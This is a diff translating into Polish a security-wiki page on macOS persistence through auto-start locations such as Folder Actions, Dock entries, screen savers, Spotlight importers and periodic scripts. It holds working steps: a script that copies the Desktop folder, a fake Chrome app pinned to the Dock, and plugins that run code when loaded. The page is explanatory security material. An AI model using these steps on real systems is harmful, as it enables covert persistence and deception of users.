-c`. ### Folder Actions Writeup: [https://theevilbit.github.io/beyond/beyond_0024/](https://theevilbit.github.io/beyond/beyond_0024/)\ Writeup: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - - But you need to be able to call `osascript` with arguments to contact **`System Events`** to be able to configure Folder Actions -- TCC bypass: [🟠](https://emojipedia.org/large-orange-circle) - - It has some basic TCC permissions like Desktop, Documents and Downloads +- Przydatne do obejścia sandbox: [✅](https://emojipedia.org/check-mark-button) +- Ale musisz być w stanie wywołać `osascript` z argumentami, aby skontaktować się z **`System Events`**, aby skonfigurować Folder Actions +- Obejście TCC: [🟠](https://emojipedia.org/large-orange-circle) +- Ma podstawowe uprawnienia TCC, takie jak Pulpit, Dokumenty i Pobrane #### Location - **`/Library/Scripts/Folder Action Scripts`** - - Root required - - **Trigger**: Access to the specified folder +- Wymagane uprawnienia roota +- **Trigger**: Dostęp do określonego folderu - **`~/Library/Scripts/Folder Action Scripts`** - - **Trigger**: Access to the specified folder +- **Trigger**: Dostęp do określonego folderu #### Description & Exploitation -Folder Actions are scripts automatically triggered by changes in a folder such as adding, removing items, or other actions like opening or resizing the folder window. These actions can be utilized for various tasks, and can be triggered in different ways like using the Finder UI or terminal commands. +Folder Actions to skrypty automatycznie uruchamiane przez zmiany w folderze, takie jak dodawanie, usuwanie elementów lub inne działania, takie jak otwieranie lub zmiana rozmiaru okna folderu. Te działania mogą być wykorzystywane do różnych zadań i mogą być uruchamiane na różne sposoby, na przykład za pomocą interfejsu Finder lub poleceń terminala. -To set up Folder Actions, you have options like: +Aby skonfigurować Folder Actions, masz kilka opcji: -1. Crafting a Folder Action workflow with [Automator](https://support.apple.com/guide/automator/welcome/mac) and installing it as a service. -2. Attaching a script manually via the Folder Actions Setup in the context menu of a folder. -3. Utilizing OSAScript to send Apple Event messages to the `System Events.app` for programmatically setting up a Folder Action. - - This method is particularly useful for embedding the action into the system, offering a level of persistence. - -The following script is an example of what can be executed by a Folder Action: +1. Tworzenie przepływu pracy Folder Action za pomocą [Automator](https://support.apple.com/guide/automator/welcome/mac) i zainstalowanie go jako usługi. +2. Ręczne dołączenie skryptu za pomocą ustawień Folder Actions w menu kontekstowym folderu. +3. Wykorzystanie OSAScript do wysyłania wiadomości Apple Event do `System Events.app` w celu programowego skonfigurowania Folder Action. +- Ta metoda jest szczególnie przydatna do osadzenia akcji w systemie, oferując poziom trwałości. +Poniższy skrypt jest przykładem tego, co może być wykonane przez Folder Action: ```applescript // source.js var app = Application.currentApplication(); @@ -813,15 +758,11 @@ app.doShellScript("touch ~/Desktop/folderaction.txt"); app.doShellScript("mkdir /tmp/asd123"); app.doShellScript("cp -R ~/Desktop /tmp/asd123"); ``` - -To make the above script usable by Folder Actions, compile it using: - +Aby uczynić powyższy skrypt użytecznym dla Folder Actions, skompiluj go za pomocą: ```bash osacompile -l JavaScript -o folder.scpt source.js ``` - -After the script is compiled, set up Folder Actions by executing the script below. This script will enable Folder Actions globally and specifically attach the previously compiled script to the Desktop folder. - +Po skompilowaniu skryptu, skonfiguruj Folder Actions, wykonując poniższy skrypt. Ten skrypt włączy Folder Actions globalnie i szczególnie przypnie wcześniej skompilowany skrypt do folderu Pulpit. ```javascript // Enabling and attaching Folder Action var se = Application("System Events") @@ -831,17 +772,13 @@ var fa = se.FolderAction({ name: "Desktop", path: "/Users/username/Desktop" }) se.folderActions.push(fa) fa.scripts.push(myScript) ``` - -Run the setup script with: - +Uruchom skrypt konfiguracyjny za pomocą: ```bash osascript -l JavaScript /Users/username/attach.scpt ``` +- To jest sposób na wdrożenie tej persystencji za pomocą GUI: -- This is the way yo implement this persistence via GUI: - -This is the script that will be executed: - +To jest skrypt, który zostanie wykonany: ```applescript:source.js var app = Application.currentApplication(); app.includeStandardAdditions = true; @@ -850,59 +787,55 @@ app.doShellScript("touch ~/Desktop/folderaction.txt"); app.doShellScript("mkdir /tmp/asd123"); app.doShellScript("cp -R ~/Desktop /tmp/asd123"); ``` +Kompiluj to za pomocą: `osacompile -l JavaScript -o folder.scpt source.js` -Compile it with: `osacompile -l JavaScript -o folder.scpt source.js` - -Move it to: - +Przenieś to do: ```bash mkdir -p "$HOME/Library/Scripts/Folder Action Scripts" mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts" ``` - -Then, open the `Folder Actions Setup` app, select the **folder you would like to watch** and select in your case **`folder.scpt`** (in my case I called it output2.scp): +Następnie otwórz aplikację `Folder Actions Setup`, wybierz **folder, który chcesz obserwować** i wybierz w swoim przypadku **`folder.scpt`** (w moim przypadku nazwałem to output2.scp):
-Now, if you open that folder with **Finder**, your script will be executed. +Teraz, jeśli otworzysz ten folder za pomocą **Finder**, twój skrypt zostanie wykonany. -This configuration was stored in the **plist** located in **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** in base64 format. +Ta konfiguracja została zapisana w **plist** znajdującym się w **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** w formacie base64. -Now, lets try to prepare this persistence without GUI access: +Teraz spróbujmy przygotować tę persistencję bez dostępu do GUI: -1. **Copy `~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** to `/tmp` to backup it: - - `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp` -2. **Remove** the Folder Actions you just set: +1. **Skopiuj `~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** do `/tmp`, aby go zabezpieczyć: +- `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp` +2. **Usuń** Folder Actions, które właśnie ustawiłeś:
-Now that we have an empty environment +Teraz, gdy mamy puste środowisko -3. Copy the backup file: `cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/` -4. Open the Folder Actions Setup.app to consume this config: `open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"` +3. Skopiuj plik kopii zapasowej: `cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/` +4. Otwórz Folder Actions Setup.app, aby wykorzystać tę konfigurację: `open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"` > [!CAUTION] -> And this didn't work for me, but those are the instructions from the writeup:( +> I to nie zadziałało dla mnie, ale to są instrukcje z opisu:( -### Dock shortcuts +### Skróty Dock -Writeup: [https://theevilbit.github.io/beyond/beyond_0027/](https://theevilbit.github.io/beyond/beyond_0027/) +Opis: [https://theevilbit.github.io/beyond/beyond_0027/](https://theevilbit.github.io/beyond/beyond_0027/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - - But you need to have installed a malicious application inside the system -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- Przydatne do obejścia sandbox: [✅](https://emojipedia.org/check-mark-button) +- Ale musisz mieć zainstalowaną złośliwą aplikację w systemie +- Obejście TCC: [🔴](https://emojipedia.org/large-red-circle) -#### Location +#### Lokalizacja - `~/Library/Preferences/com.apple.dock.plist` - - **Trigger**: When the user clicks on the app inside the dock +- **Wyzwalacz**: Gdy użytkownik kliknie na aplikację w docku -#### Description & Exploitation +#### Opis i wykorzystanie -All the applications that appear in the Dock are specified inside the plist: **`~/Library/Preferences/com.apple.dock.plist`** - -It's possible to **add an application** just with: +Wszystkie aplikacje, które pojawiają się w Docku, są określone w plist: **`~/Library/Preferences/com.apple.dock.plist`** +Możliwe jest **dodanie aplikacji** tylko za pomocą: ```bash # Add /System/Applications/Books.app defaults write com.apple.dock persistent-apps -array-add 'tile-datafile-data_CFURLString/System/Applications/Books.app_CFURLStringType0' @@ -910,9 +843,7 @@ defaults write com.apple.dock persistent-apps -array-add 'tile-data /tmp/Google\ Chrome.app/Contents/Info.plist "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> - CFBundleExecutable - Google Chrome - CFBundleIdentifier - com.google.Chrome - CFBundleName - Google Chrome - CFBundleVersion - 1.0 - CFBundleShortVersionString - 1.0 - CFBundleInfoDictionaryVersion - 6.0 - CFBundlePackageType - APPL - CFBundleIconFile - app +CFBundleExecutable +Google Chrome +CFBundleIdentifier +com.google.Chrome +CFBundleName +Google Chrome +CFBundleVersion +1.0 +CFBundleShortVersionString +1.0 +CFBundleInfoDictionaryVersion +6.0 +CFBundlePackageType +APPL +CFBundleIconFile +app EOF @@ -965,92 +896,86 @@ cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chr defaults write com.apple.dock persistent-apps -array-add 'tile-datafile-data_CFURLString/tmp/Google Chrome.app_CFURLStringType0' killall Dock ``` - -### Color Pickers +### Wybieracze kolorów Writeup: [https://theevilbit.github.io/beyond/beyond_0017](https://theevilbit.github.io/beyond/beyond_0017/) -- Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - - A very specific action needs to happen - - You will end in another sandbox -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- Przydatne do obejścia piaskownicy: [🟠](https://emojipedia.org/large-orange-circle) +- Musi się zdarzyć bardzo specyficzna akcja +- Zakończysz w innej piaskownicy +- Obejście TCC: [🔴](https://emojipedia.org/large-red-circle) -#### Location +#### Lokalizacja - `/Library/ColorPickers` - - Root required - - Trigger: Use the color picker +- Wymagane uprawnienia roota +- Wyzwalacz: Użyj wybieracza kolorów - `~/Library/ColorPickers` - - Trigger: Use the color picker +- Wyzwalacz: Użyj wybieracza kolorów -#### Description & Exploit +#### Opis i Eksploatacja -**Compile a color picker** bundle with your code (you could use [**this one for example**](https://github.com/viktorstrate/color-picker-plus)) and add a constructor (like in the [Screen Saver section](macos-auto-start-locations.md#screen-saver)) and copy the bundle to `~/Library/ColorPickers`. +**Skompiluj pakiet** wybieracza kolorów z własnym kodem (możesz użyć [**tego na przykład**](https://github.com/viktorstrate/color-picker-plus)) i dodaj konstruktor (jak w sekcji [Wygaszacz ekranu](macos-auto-start-locations.md#screen-saver)) i skopiuj pakiet do `~/Library/ColorPickers`. -Then, when the color picker is triggered your should should be aswell. - -Note that the binary loading your library has a **very restrictive sandbox**: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64` +Następnie, gdy wybieracz kolorów zostanie wyzwolony, twój kod również powinien się uruchomić. +Zauważ, że binarny plik ładujący twoją bibliotekę ma **bardzo restrykcyjną piaskownicę**: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64` ```bash [Key] com.apple.security.temporary-exception.sbpl - [Value] - [Array] - [String] (deny file-write* (home-subpath "/Library/Colors")) - [String] (allow file-read* process-exec file-map-executable (home-subpath "/Library/ColorPickers")) - [String] (allow file-read* (extension "com.apple.app-sandbox.read")) +[Value] +[Array] +[String] (deny file-write* (home-subpath "/Library/Colors")) +[String] (allow file-read* process-exec file-map-executable (home-subpath "/Library/ColorPickers")) +[String] (allow file-read* (extension "com.apple.app-sandbox.read")) ``` - ### Finder Sync Plugins **Writeup**: [https://theevilbit.github.io/beyond/beyond_0026/](https://theevilbit.github.io/beyond/beyond_0026/)\ **Writeup**: [https://objective-see.org/blog/blog_0x11.html](https://objective-see.org/blog/blog_0x11.html) -- Useful to bypass sandbox: **No, because you need to execute your own app** -- TCC bypass: ??? +- Przydatne do obejścia sandbox: **Nie, ponieważ musisz uruchomić swoją własną aplikację** +- Obejście TCC: ??? -#### Location +#### Lokalizacja -- A specific app +- Konkretna aplikacja -#### Description & Exploit +#### Opis i Eksploatacja -An application example with a Finder Sync Extension [**can be found here**](https://github.com/D00MFist/InSync). - -Applications can have `Finder Sync Extensions`. This extension will go inside an application that will be executed. Moreover, for the extension to be able to execute its code it **must be signed** with some valid Apple developer certificate, it must be **sandboxed** (although relaxed exceptions could be added) and it must be registered with something like: +Przykład aplikacji z rozszerzeniem Finder Sync [**można znaleźć tutaj**](https://github.com/D00MFist/InSync). +Aplikacje mogą mieć `Finder Sync Extensions`. To rozszerzenie wejdzie do aplikacji, która będzie uruchamiana. Ponadto, aby rozszerzenie mogło wykonać swój kod, **musi być podpisane** ważnym certyfikatem dewelopera Apple, musi być **sandboxed** (chociaż mogą być dodane luźniejsze wyjątki) i musi być zarejestrowane w czymś takim jak: ```bash pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex pluginkit -e use -i com.example.InSync.InSync ``` - -### Screen Saver +### Wygaszacz ekranu Writeup: [https://theevilbit.github.io/beyond/beyond_0016/](https://theevilbit.github.io/beyond/beyond_0016/)\ Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://posts.specterops.io/saving-your-access-d562bf5bf90b) -- Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - - But you will end in a common application sandbox -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- Przydatne do obejścia piaskownicy: [🟠](https://emojipedia.org/large-orange-circle) +- Ale skończysz w wspólnej piaskownicy aplikacji +- Obejście TCC: [🔴](https://emojipedia.org/large-red-circle) -#### Location +#### Lokalizacja - `/System/Library/Screen Savers` - - Root required - - **Trigger**: Select the screen saver +- Wymagane uprawnienia roota +- **Wyzwalacz**: Wybierz wygaszacz ekranu - `/Library/Screen Savers` - - Root required - - **Trigger**: Select the screen saver +- Wymagane uprawnienia roota +- **Wyzwalacz**: Wybierz wygaszacz ekranu - `~/Library/Screen Savers` - - **Trigger**: Select the screen saver +- **Wyzwalacz**: Wybierz wygaszacz ekranu
-#### Description & Exploit +#### Opis i Eksploatacja -Create a new project in Xcode and select the template to generate a new **Screen Saver**. Then, are your code to it, for example the following code to generate logs. - -**Build** it, and copy the `.saver` bundle to **`~/Library/Screen Savers`**. Then, open the Screen Saver GUI and it you just click on it, it should generate a lot of logs: +Utwórz nowy projekt w Xcode i wybierz szablon do wygenerowania nowego **Wygaszacza ekranu**. Następnie dodaj swój kod, na przykład poniższy kod do generowania logów. +**Zbuduj** go i skopiuj pakiet `.saver` do **`~/Library/Screen Savers`**. Następnie otwórz GUI wygaszacza ekranu i po prostu na niego kliknij, powinno to wygenerować wiele logów: ```bash sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "hello_screensaver"' @@ -1059,12 +984,10 @@ Timestamp (process)[PID] 2023-09-27 22:55:39.622623+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView initWithFrame:isPreview:] 2023-09-27 22:55:39.622704+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView hasConfigureSheet] ``` - > [!CAUTION] -> Note that because inside the entitlements of the binary that loads this code (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`) you can find **`com.apple.security.app-sandbox`** you will be **inside the common application sandbox**. +> Zauważ, że ponieważ wewnątrz uprawnień binarnego pliku, który ładuje ten kod (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`), możesz znaleźć **`com.apple.security.app-sandbox`**, będziesz **wewnątrz wspólnego piaskownicy aplikacji**. Saver code: - ```objectivec // // ScreenSaverExampleView.m @@ -1079,159 +1002,154 @@ Saver code: - (instancetype)initWithFrame:(NSRect)frame isPreview:(BOOL)isPreview { - NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); - self = [super initWithFrame:frame isPreview:isPreview]; - if (self) { - [self setAnimationTimeInterval:1/30.0]; - } - return self; +NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); +self = [super initWithFrame:frame isPreview:isPreview]; +if (self) { +[self setAnimationTimeInterval:1/30.0]; +} +return self; } - (void)startAnimation { - NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); - [super startAnimation]; +NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); +[super startAnimation]; } - (void)stopAnimation { - NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); - [super stopAnimation]; +NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); +[super stopAnimation]; } - (void)drawRect:(NSRect)rect { - NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); - [super drawRect:rect]; +NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); +[super drawRect:rect]; } - (void)animateOneFrame { - NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); - return; +NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); +return; } - (BOOL)hasConfigureSheet { - NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); - return NO; +NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); +return NO; } - (NSWindow*)configureSheet { - NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); - return nil; +NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); +return nil; } __attribute__((constructor)) void custom(int argc, const char **argv) { - NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); +NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__); } @end ``` - -### Spotlight Plugins +### Wtyczki Spotlight writeup: [https://theevilbit.github.io/beyond/beyond_0011/](https://theevilbit.github.io/beyond/beyond_0011/) -- Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - - But you will end in an application sandbox -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) - - The sandbox looks very limited +- Przydatne do obejścia piaskownicy: [🟠](https://emojipedia.org/large-orange-circle) +- Ale skończysz w piaskownicy aplikacji +- Obejście TCC: [🔴](https://emojipedia.org/large-red-circle) +- Piaskownica wydaje się bardzo ograniczona -#### Location +#### Lokalizacja - `~/Library/Spotlight/` - - **Trigger**: A new file with a extension managed by the spotlight plugin is created. +- **Wyzwalacz**: Tworzony jest nowy plik z rozszerzeniem zarządzanym przez wtyczkę spotlight. - `/Library/Spotlight/` - - **Trigger**: A new file with a extension managed by the spotlight plugin is created. - - Root required +- **Wyzwalacz**: Tworzony jest nowy plik z rozszerzeniem zarządzanym przez wtyczkę spotlight. +- Wymagane uprawnienia roota - `/System/Library/Spotlight/` - - **Trigger**: A new file with a extension managed by the spotlight plugin is created. - - Root required +- **Wyzwalacz**: Tworzony jest nowy plik z rozszerzeniem zarządzanym przez wtyczkę spotlight. +- Wymagane uprawnienia roota - `Some.app/Contents/Library/Spotlight/` - - **Trigger**: A new file with a extension managed by the spotlight plugin is created. - - New app required +- **Wyzwalacz**: Tworzony jest nowy plik z rozszerzeniem zarządzanym przez wtyczkę spotlight. +- Wymagana nowa aplikacja -#### Description & Exploitation +#### Opis i Wykorzystanie -Spotlight is macOS's built-in search feature, designed to provide users with **quick and comprehensive access to data on their computers**.\ -To facilitate this rapid search capability, Spotlight maintains a **proprietary database** and creates an index by **parsing most files**, enabling swift searches through both file names and their content. +Spotlight to wbudowana funkcja wyszukiwania w macOS, zaprojektowana w celu zapewnienia użytkownikom **szybkiego i kompleksowego dostępu do danych na ich komputerach**.\ +Aby ułatwić tę szybką zdolność wyszukiwania, Spotlight utrzymuje **własną bazę danych** i tworzy indeks poprzez **analizowanie większości plików**, co umożliwia szybkie wyszukiwanie zarówno po nazwach plików, jak i ich zawartości. -The underlying mechanism of Spotlight involves a central process named 'mds', which stands for **'metadata server'.** This process orchestrates the entire Spotlight service. Complementing this, there are multiple 'mdworker' daemons that perform a variety of maintenance tasks, such as indexing different file types (`ps -ef | grep mdworker`). These tasks are made possible through Spotlight importer plugins, or **".mdimporter bundles**", which enable Spotlight to understand and index content across a diverse range of file formats. +Podstawowy mechanizm Spotlight obejmuje centralny proces nazwany 'mds', co oznacza **'serwer metadanych'.** Proces ten koordynuje całą usługę Spotlight. Uzupełniają go liczne demony 'mdworker', które wykonują różnorodne zadania konserwacyjne, takie jak indeksowanie różnych typów plików (`ps -ef | grep mdworker`). Te zadania są możliwe dzięki wtyczkom importera Spotlight, czyli **".mdimporter bundles"**, które umożliwiają Spotlight zrozumienie i indeksowanie zawartości w różnych formatach plików. -The plugins or **`.mdimporter`** bundles are located in the places mentioned previously and if a new bundle appear it's loaded within monute (no need to restart any service). These bundles need to indicate which **file type and extensions they can manage**, this way, Spotlight will use them when a new file with the indicated extension is created. - -It's possible to **find all the `mdimporters`** loaded running: +Wtyczki lub **`.mdimporter`** bundles znajdują się w wcześniej wymienionych miejscach, a jeśli pojawi się nowy bundle, jest ładowany w ciągu minuty (nie ma potrzeby ponownego uruchamiania żadnej usługi). Te bundle muszą wskazywać, które **typy plików i rozszerzenia mogą obsługiwać**, w ten sposób Spotlight będzie ich używać, gdy zostanie utworzony nowy plik z wskazanym rozszerzeniem. +Możliwe jest **znalezienie wszystkich `mdimporters`** załadowanych w trakcie działania: ```bash mdimport -L Paths: id(501) ( - "/System/Library/Spotlight/iWork.mdimporter", - "/System/Library/Spotlight/iPhoto.mdimporter", - "/System/Library/Spotlight/PDF.mdimporter", - [...] +"/System/Library/Spotlight/iWork.mdimporter", +"/System/Library/Spotlight/iPhoto.mdimporter", +"/System/Library/Spotlight/PDF.mdimporter", +[...] ``` - -And for example **/Library/Spotlight/iBooksAuthor.mdimporter** is used to parse these type of files (extensions `.iba` and `.book` among others): - +A na przykład **/Library/Spotlight/iBooksAuthor.mdimporter** jest używane do analizowania tego typu plików (rozszerzenia `.iba` i `.book` oraz innych): ```json plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist [...] "CFBundleDocumentTypes" => [ - 0 => { - "CFBundleTypeName" => "iBooks Author Book" - "CFBundleTypeRole" => "MDImporter" - "LSItemContentTypes" => [ - 0 => "com.apple.ibooksauthor.book" - 1 => "com.apple.ibooksauthor.pkgbook" - 2 => "com.apple.ibooksauthor.template" - 3 => "com.apple.ibooksauthor.pkgtemplate" - ] - "LSTypeIsPackage" => 0 - } - ] +0 => { +"CFBundleTypeName" => "iBooks Author Book" +"CFBundleTypeRole" => "MDImporter" +"LSItemContentTypes" => [ +0 => "com.apple.ibooksauthor.book" +1 => "com.apple.ibooksauthor.pkgbook" +2 => "com.apple.ibooksauthor.template" +3 => "com.apple.ibooksauthor.pkgtemplate" +] +"LSTypeIsPackage" => 0 +} +] [...] - => { - "UTTypeConformsTo" => [ - 0 => "public.data" - 1 => "public.composite-content" - ] - "UTTypeDescription" => "iBooks Author Book" - "UTTypeIdentifier" => "com.apple.ibooksauthor.book" - "UTTypeReferenceURL" => "http://www.apple.com/ibooksauthor" - "UTTypeTagSpecification" => { - "public.filename-extension" => [ - 0 => "iba" - 1 => "book" - ] - } - } +=> { +"UTTypeConformsTo" => [ +0 => "public.data" +1 => "public.composite-content" +] +"UTTypeDescription" => "iBooks Author Book" +"UTTypeIdentifier" => "com.apple.ibooksauthor.book" +"UTTypeReferenceURL" => "http://www.apple.com/ibooksauthor" +"UTTypeTagSpecification" => { +"public.filename-extension" => [ +0 => "iba" +1 => "book" +] +} +} [...] ``` - > [!CAUTION] -> If you check the Plist of other `mdimporter` you might not find the entry **`UTTypeConformsTo`**. Thats because that is a built-in _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform_Type_Identifier)) and it doesn't need to specify extensions. +> Jeśli sprawdzisz Plist innych `mdimporter`, możesz nie znaleźć wpisu **`UTTypeConformsTo`**. To dlatego, że jest to wbudowany _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform_Type_Identifier)) i nie trzeba określać rozszerzeń. > -> Moreover, System default plugins always take precedence, so an attacker can only access files that are not otherwise indexed by Apple's own `mdimporters`. +> Ponadto, domyślne wtyczki systemowe zawsze mają pierwszeństwo, więc atakujący może uzyskać dostęp tylko do plików, które nie są w inny sposób indeksowane przez własne `mdimporters` Apple. -To create your own importer you could start with this project: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) and then change the name, the **`CFBundleDocumentTypes`** and add **`UTImportedTypeDeclarations`** so it supports the extension you would like to support and refelc them in **`schema.xml`**.\ -Then **change** the code of the function **`GetMetadataForFile`** to execute your payload when a file with the processed extension is created. +Aby stworzyć własny importer, możesz zacząć od tego projektu: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) i następnie zmienić nazwę, **`CFBundleDocumentTypes`** oraz dodać **`UTImportedTypeDeclarations`**, aby obsługiwał rozszerzenie, które chcesz wspierać i odzwierciedlić je w **`schema.xml`**.\ +Następnie **zmień** kod funkcji **`GetMetadataForFile`**, aby wykonać swój ładunek, gdy plik z przetwarzanym rozszerzeniem zostanie utworzony. -Finally **build and copy your new `.mdimporter`** to one of thre previous locations and you can chech whenever it's loaded **monitoring the logs** or checking **`mdimport -L.`** +Na koniec **zbuduj i skopiuj swój nowy `.mdimporter`** do jednej z wcześniejszych lokalizacji i możesz sprawdzić, czy jest załadowany **monitorując logi** lub sprawdzając **`mdimport -L.`** ### ~~Preference Pane~~ > [!CAUTION] -> It doesn't look like this is working anymore. +> Nie wygląda na to, że to już działa. Writeup: [https://theevilbit.github.io/beyond/beyond_0009/](https://theevilbit.github.io/beyond/beyond_0009/) -- Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - - It needs a specific user action -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- Przydatne do obejścia sandbox: [🟠](https://emojipedia.org/large-orange-circle) +- Wymaga konkretnej akcji użytkownika +- Obejście TCC: [🔴](https://emojipedia.org/large-red-circle) #### Location @@ -1241,34 +1159,33 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0009/](https://theevilbit.g #### Description -It doesn't look like this is working anymore. +Nie wygląda na to, że to już działa. ## Root Sandbox Bypass > [!TIP] -> Here you can find start locations useful for **sandbox bypass** that allows you to simply execute something by **writing it into a file** being **root** and/or requiring other **weird conditions.** +> Tutaj możesz znaleźć lokalizacje startowe przydatne do **obejścia sandbox**, które pozwala na proste wykonanie czegoś przez **zapisanie go do pliku** będąc **root** i/lub wymagając inne **dziwne warunki.** ### Periodic Writeup: [https://theevilbit.github.io/beyond/beyond_0019/](https://theevilbit.github.io/beyond/beyond_0019/) -- Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - - But you need to be root -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- Przydatne do obejścia sandbox: [🟠](https://emojipedia.org/large-orange-circle) +- Ale musisz być root +- Obejście TCC: [🔴](https://emojipedia.org/large-red-circle) #### Location - `/etc/periodic/daily`, `/etc/periodic/weekly`, `/etc/periodic/monthly`, `/usr/local/etc/periodic` - - Root required - - **Trigger**: When the time comes -- `/etc/daily.local`, `/etc/weekly.local` or `/etc/monthly.local` - - Root required - - **Trigger**: When the time comes +- Wymagany root +- **Trigger**: Gdy nadejdzie czas +- `/etc/daily.local`, `/etc/weekly.local` lub `/etc/monthly.local` +- Wymagany root +- **Trigger**: Gdy nadejdzie czas #### Description & Exploitation -The periodic scripts (**`/etc/periodic`**) are executed because of the **launch daemons** configured in `/System/Library/LaunchDaemons/com.apple.periodic*`. Note that scripts stored in `/etc/periodic/` are **executed** as the **owner of the file,** so this won't work for a potential privilege escalation. - +Skrypty okresowe (**`/etc/periodic`**) są wykonywane z powodu **launch daemons** skonfigurowanych w `/System/Library/LaunchDaemons/com.apple.periodic*`. Zauważ, że skrypty przechowywane w `/etc/periodic/` są **wykonywane** jako **właściciel pliku**, więc to nie zadziała w przypadku potencjalnego eskalacji uprawnień. ```bash # Launch daemons that will execute the periodic scripts ls -l /System/Library/LaunchDaemons/com.apple.periodic* @@ -1299,52 +1216,44 @@ total 24 total 8 -rwxr-xr-x 1 root wheel 620 May 13 00:29 999.local ``` - -There are other periodic scripts that will be executed indicated in **`/etc/defaults/periodic.conf`**: - +Istnieją inne skrypty okresowe, które będą wykonywane, wskazane w **`/etc/defaults/periodic.conf`**: ```bash grep "Local scripts" /etc/defaults/periodic.conf daily_local="/etc/daily.local" # Local scripts weekly_local="/etc/weekly.local" # Local scripts monthly_local="/etc/monthly.local" # Local scripts ``` - -If you manage to write any of the files `/etc/daily.local`, `/etc/weekly.local` or `/etc/monthly.local` it will be **executed sooner or later**. +Jeśli uda ci się napisać którykolwiek z plików `/etc/daily.local`, `/etc/weekly.local` lub `/etc/monthly.local`, zostanie on **wykonany prędzej czy później**. > [!WARNING] -> Note that the periodic script will be **executed as the owner of the script**. So if a regular user owns the script, it will be executed as that user (this might prevent privilege escalation attacks). +> Zauważ, że skrypt okresowy będzie **wykonywany jako właściciel skryptu**. Więc jeśli zwykły użytkownik jest właścicielem skryptu, zostanie on wykonany jako ten użytkownik (może to zapobiec atakom eskalacji uprawnień). ### PAM Writeup: [Linux Hacktricks PAM](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md)\ Writeup: [https://theevilbit.github.io/beyond/beyond_0005/](https://theevilbit.github.io/beyond/beyond_0005/) -- Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - - But you need to be root -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- Przydatne do obejścia sandboxa: [🟠](https://emojipedia.org/large-orange-circle) +- Ale musisz być rootem +- Obejście TCC: [🔴](https://emojipedia.org/large-red-circle) -#### Location +#### Lokalizacja -- Root always required +- Zawsze wymagany root -#### Description & Exploitation +#### Opis i Eksploatacja -As PAM is more focused in **persistence** and malware that on easy execution inside macOS, this blog won't give a detailed explanation, **read the writeups to understand this technique better**. - -Check PAM modules with: +Ponieważ PAM jest bardziej skoncentrowany na **utrzymywaniu** i złośliwym oprogramowaniu niż na łatwym wykonywaniu w macOS, ten blog nie poda szczegółowego wyjaśnienia, **przeczytaj writeupy, aby lepiej zrozumieć tę technikę**. +Sprawdź moduły PAM za pomocą: 